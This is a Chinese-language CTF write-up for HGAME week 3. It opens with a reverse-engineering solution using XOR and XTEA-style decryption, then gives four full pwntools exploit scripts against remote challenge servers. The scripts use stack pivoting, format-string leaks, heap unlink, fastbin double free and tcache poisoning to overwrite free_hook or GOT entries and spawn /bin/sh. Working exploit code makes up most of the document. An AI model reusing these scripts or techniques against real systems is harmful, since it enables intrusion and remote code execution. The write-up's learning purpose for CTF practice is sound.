Say-Muggle-Code a.k.a. SMC

Flag 分为 2 部分，第一部分在 check1 中：

```
char a[17] =
"\xDE\xD1\xD8\x8C\x8F\xD9\xDF\xDE\xDF\x8C\xD8\xDA\x8C\xDC\xDD\xD8";
    for (int i = 0; i < 16; ++i)
    {
        a[i] = a[i] ^ 0xE9;
    }
```

然后第二部分 check2 参数和第一部分相关，

```
char b[17] = {};
    for (int i = 15; i>0;--i)
    {
        b[i] = a[i] ^ a[i - 1];

    }
    b[0] = a[0];
```

算出 check2 参数

Check2 中 modify 修改了 encrypt 的内容，自己解密或者直接 dump 出来

```
    char d[] =
"\x1F\x59\xF0\x52\xFE\x81\x3C\x6C\x14\xCB\x82\x03\x0E\x19\x6F\x4B";
    unsigned int a1[4] = {};
    memcpy(a1, d, 16);
    unsigned int a2[4] = {};
    memcpy(a2, b, 16);

    unsigned int v2 = 0;
    for (int i = 0; i <= 31; ++i)
    {
        v2 -= 0x61C88647;
    }
    for (int i = 0; i <= 31; ++i)
    {
        for (int j = 2; j >=0; j -= 2)
        {
            a1[j + 1] -= (a1[j] + v2) ^ (16 * a1[j] + a2[2]) ^ ((a1[j] >> 5) +
a2[3]);
            a1[j] -= (a1[j + 1LL] + v2) ^ (16 * a1[j + 1LL] + *a2) ^ ((a1[j +
1LL] >> 5) + a2[1]);

        }
        v2 += 0x61C88647;
    }
    char *w = (char*)a1;
```

```
    cout << w;
    //encrypt(a1, a2);
```

这个就是解密过程，

Steins;Gate3

Gate3 中栈溢出的长度减小，导致我们无法 pop rdi ret，我用的办法是修改 rbp，程序会 leave ret 2 次，修改第一次 leave 前修改栈上的内容就会导致第二次 leave 时 rsp 由我们控制，把 rsp 改到我们输入的区域后，从而控制程序,当然前面还是用多次 ret2main 泄露地址和栈

```
from pwn import *


#p=process("/home/ytu/Desktop/hgame/week3/SteinsGate3")
p=remote("118.24.3.214",  12343 )
print(p.recvline())
p.send("/bin/sh\x00\x00")
p.recvuntil('.')
base = int(p.recvline()[:-1]) - 0xAF0
print(p.recvline())
p.send("\x00"*48+"\x33\x23\x00\x00") #first
print(p.recvline())
print(p.recvline())
p.send("%7$p")
s1=p.recvline()
print(s1)
s2=s1[0:10]
a1=int(s2,16)+ 0x1234
p.send("\x00"*28 +"\x66\x66\x00\x00"+"\x00"*16+ p32(a1))
print(p.recvline())
print(p.recvline())
p.send("%11$p")
s3=p.recvline()
print(s3)
s4=s3[0:18]
a2=int(s4,16)
print(p.recvline())
funmain=base+0xddc
p.send("\x00"*44+"\x66\x66\x00\x00"+"\x33\x23\x00\x00"+"\x00"*4+p64(a2)+"\x00"*8+p16(funmain))

print(p.recvline())
print(p.recv())
p.send("/bin/sh\x00\x00")
```

```
print(p.recvline())
print(p.recvline())
print(p.recvline())
p.send("\x00"*48+"\x33\x23\x00\x00") #first
print(p.recvline())
print(p.recvline())
p.send("%7$p")
s5=p.recvline()
print(s5)
s6=s5[0:10]
a3=int(s6,16)+ 0x1234
p.send("\x00"*28 +"\x66\x66\x00\x00"+"\x00"*16+ p32(a3))
print(p.recvline())
print(p.recvline())
p.send("%13$p")
s7=p.recvline()
print(s7)
s8=s7[0:14]
a6=int(s8,16)
fullbase=a6-0xce4
print(p.recvline())
p.send("\x00"*44+"\x66\x66\x00\x00"+"\x33\x23\x00\x00"+"\x00"*4+p64(a2)+"\x00"*8+p16
(funmain))
popret=fullbase+0xE83
funsystem=fullbase+0xC8B
binsh=fullbase+0x202040



print(p.recvline())
print(p.recv())
p.send("/bin/sh\x00")
print(p.recvline())
print(p.recvline())
print(p.recvline())
p.send("\x00"*48+"\x33\x23\x00\x00") #first
print(p.recvline())
print(p.recvline())
p.send("%7$p")
s13=p.recvline()
print(s13)
s14=s13[0:10]
a9=int(s14,16)+ 0x1234
```

```
p.send("\x00"*28 +"\x66\x66\x00\x00"+"\x00"*16+ p32(a9))
print(p.recvline())
print(p.recvline())
p.send("%12$p")
s15=p.readline()
s16=s15[0:14]
a10=int(s16,16)
stack=a10-0x70-0x30
print(p.recvline())
p.send("\x00"*44+"\x66\x66\x00\x00"+"\x33\x23\x00\x00"+"\x00"*4+p64(a2)+"\x00"*8+p16
(funmain))

leaveret=fullbase+0xCE5
print(p.recvline())
print(p.recv())
p.send("/bin/sh\x00")
print(p.recvline())
print(p.recvline())
print(p.recvline())
p.send("\x00"*48+"\x33\x23\x00\x00") #first
print(p.recvline())
print(p.recvline())
p.send("%7$p")
s17=p.recvline()
print(s17)
s18=s17[0:10]
a11=int(s18,16)+ 0x1234
p.send("\x00"*28 +"\x66\x66\x00\x00"+"\x00"*16+ p32(a11))
print(p.recvline())
print(p.recvline())
p.send("11111")
print(p.recvline())
print(p.recvline())
p.send(                                                                    "\x00"*8
+p64(popret)+p64(binsh)+p64(funsystem)+"\x00"*12+"\x66\x66\x00\x00"+"\x33\x23\x00\x
00"+"\x00"*4+p64(a2)+p64(stack))


p.sendline("ls")
p.interactive()


p.close()
```

namebook

4.reset name 时堆溢出，可以写入任意地址，把 ptr 指向自己，就可以实现修改多个地址的内容，实现对任意地址的写入，由于程序开了 fullrelro，我们无法对 got 表修改，这里采用泄露出 libc base address，然后对 free_hook 修改成 system

```
from pwn import *


#p=process("/home/ytu/Desktop/hgame/week3/namebook")
p=remote("118.24.3.214",12344)
print(p.readline())
print(p.readline())
print(p.readline())
print(p.readline())
print(p.readline())
print(p.readline())
print(p.read())
p.sendline("1")
print(p.read())
p.sendline("4")
print(p.read())
p.sendline("a")
print(p.readline())
print(p.read())

p.sendline("1")
print(p.read())
p.sendline("5")
print(p.read())
p.sendline("a")
print(p.readline())
print(p.read())

p.sendline("4")
print(p.read())
p.sendline("4")
print(p.read())
ptr=0x602060
p.sendline(p64(0)+   p64(0x81) + p64(ptr-0x18)+p64(ptr-0x10) + "a" * 0x60 + p64(0x80)
+p64(0x90)+"c"*9 )
print(p.readline())
print(p.read())
```

```
p.sendline("2")
print(p.read())
p.sendline("5")
print(p.readline())
print(p.read())
print("free ok")

p.sendline("4")
print(p.read())
p.sendline("4")
print(p.read())
libcstartmain=0x601FD0
p.sendline(p64(0)+p64(0)+p64(0)+p64(libcstartmain)+p64(0x602068)+ p64(0x602070)+
p64(0x602078)+ p64(0x602080))
print(p.readline())
print(p.read())


#read
p.sendline("3")
print(p.read())
p.sendline("4")
s1=p.recvuntil("\x7f")
libcaddr=unpack(s1,len(s1)*8)-0x20740
print(hex(libcaddr))
#print(p.readline())
print(p.readline())
print(p.read())




godget=libcaddr+0xF1147
system=libcaddr+0x45390
printf=libcaddr+0x55800
putchar=libcaddr+0x71290
puts=libcaddr+0x6F690
free=libcaddr+0x844F0
libcfreehook=libcaddr+0x3C67A8
print(free)
```

```
p.sendline("4")
print(p.read())
p.sendline("5")
print(p.read())
p.sendline(p64(libcfreehook))
print(p.readline())


p.sendline("4")
print(p.read())
p.sendline("5")
print(p.read())
p.sendline(p64(system)[0:-1])
print(p.readline())


p.sendline("1")
print(p.read())
p.sendline("0")
print(p.read())
p.sendline("/bin/sh\x00")
print(p.readline())
print(p.read())
p.interactive()

p.close()
```

薯片拯救世界 3

Fastbin 的 double free 漏洞，后果是可以写入任意地址，程序没开 full relro，攻击思路还是比较简单，将 plt 表 free 地址改成 system 的地址就好了

```
from pwn import *

#p=process("/home/y/Desktop/hgame/CSTW_3")
p=remote("118.24.3.214", 12342)
print(p.readline())
p.sendline()
print(p.readline())
p.sendline()
print(p.readline())
p.sendline()
print(p.readline())
p.sendline()
```

```
print(p.readline())
print(p.readline())
print(p.readline())
print(p.readline())
print(p.read())

p.sendline("1")
p.recvuntil(":")
p.sendline("aaaa")
p.recvuntil(">")

p.sendline("1")
p.recvuntil(":")
p.sendline("/bin/sh")
p.recvuntil(">")

#first malloc
p.sendline("1")
p.recvuntil(":")
p.sendline("a")
p.recvuntil(">")
#second malloc
p.sendline("1")
p.recvuntil(":")
p.sendline("b")
p.recvuntil(">")

#free first
p.sendline("3")
p.recvuntil("告")
p.sendline("2")
p.recvuntil(">")

#free second
p.sendline("3")
p.recvuntil("告")
p.sendline("3")
p.recvuntil(">")

#double free first
p.sendline("3")
p.recvuntil("告")
p.sendline("2")
p.recvuntil(">")
```

```
#malloc to get first memory, index is 4
p.sendline("1")
p.recvuntil(":")
p.sendline(p64(0x60209d))
p.recvuntil(">")

#index 5
p.sendline("1")
p.recvuntil(":")
p.sendline("c")
p.recvuntil(">")


#malloc index 6
p.sendline("1")
p.recvuntil(":")
p.sendline("d")
p.recvuntil(">")

#malloc index 7, get target add

p.sendline("1")
p.recvuntil(":")
p.sendline("\x00"*19+"\x18\x20\x60\x00\x00\x00\x00")
p.recvuntil(">")


p.sendline("2")
p.recvuntil("告")
p.sendline("0")
p.recvuntil("容")
p.sendline("\xb6\x07\x40\x00\x00\x00\x00")
#p.interactive()



p.sendline("3")
p.recvuntil("告")
p.sendline("1")
#p.recvuntil(">")

p.interactive()
```

p.close()

babytcache

还是任意地址写入，对 free_hook 动手脚，
先把 puts 改成 printf，泄露 libc base address 然后就 free_hook
不过这个漏洞挺奇怪的，我要 malloc 第三次才能拿到想要的地址，网上的文章都说 2 次就可以，回头要仔细去读代码了 23333

```
from pwn import *
#p=process("/home/ytu/Desktop/hgame/week3/babytcache")
p=remote("118.24.3.214", 12341)
print (p.recvuntil(">"))


p.sendline("1")
p.recvuntil(":")
p.sendline("a")
p.recvuntil(">")

p.sendline("1")
p.recvuntil(":")
p.sendline("%11$p")
p.recvuntil(">")

p.sendline("1")
p.recvuntil(":")
p.sendline("/bin/sh")
p.recvuntil(">")

p.sendline("1")
p.recvuntil(":")
p.sendline("a")
p.recvuntil(">")


#
p.sendline("2")
p.recvuntil(":")
p.sendline("3")
p.recvuntil(">")

p.sendline("2")
p.recvuntil(":")
```

```
p.sendline("3")
p.recvuntil(">")
#
p.sendline("2")
p.recvuntil(":")
p.sendline("0")
p.recvuntil(">")

p.sendline("2")
p.recvuntil(":")
p.sendline("0")
p.recvuntil(">")

p.sendline("1")
p.recvuntil(":")
p.sendline("\x28\x20\x60\x00\x00\x00\x00")
p.recvuntil(">")


p.sendline("1")
p.recvuntil(":")
p.sendline("\x28\x20\x60\x00\x00\x00\x00")
p.recvuntil(">")

p.sendline("1")
p.recvuntil(":")
p.sendline("\x26\x07\x40\x00\x00\x00\x00")
p.recvuntil(">")


p.sendline("3")
p.recvuntil(":")
p.sendline("1")
s1=p.recvuntil(">")
s2=s1[0:-1]
libcbase=int(s2,16)-0x21B97
freeptr=libcbase+0x3ED8E8
system=libcbase+0x4F440


p.sendline("2")
p.recvuntil(":")
p.sendline("3")
p.recvuntil(">")
```

```
p.sendline("2")
p.recvuntil(":")
p.sendline("3")
p.recvuntil(">")

p.sendline("1")
p.recvuntil(":")
p.sendline(p64(freeptr))
p.recvuntil(">")


p.sendline("1")
p.recvuntil(":")
p.sendline(p64(freeptr))
p.recvuntil(">")

p.sendline("1")
p.recvuntil(":")
p.sendline(p64(system))
p.recvuntil(">")

p.sendline("2")
p.recvuntil(":")
p.sendline("2")


p.interactive()
p.close()
```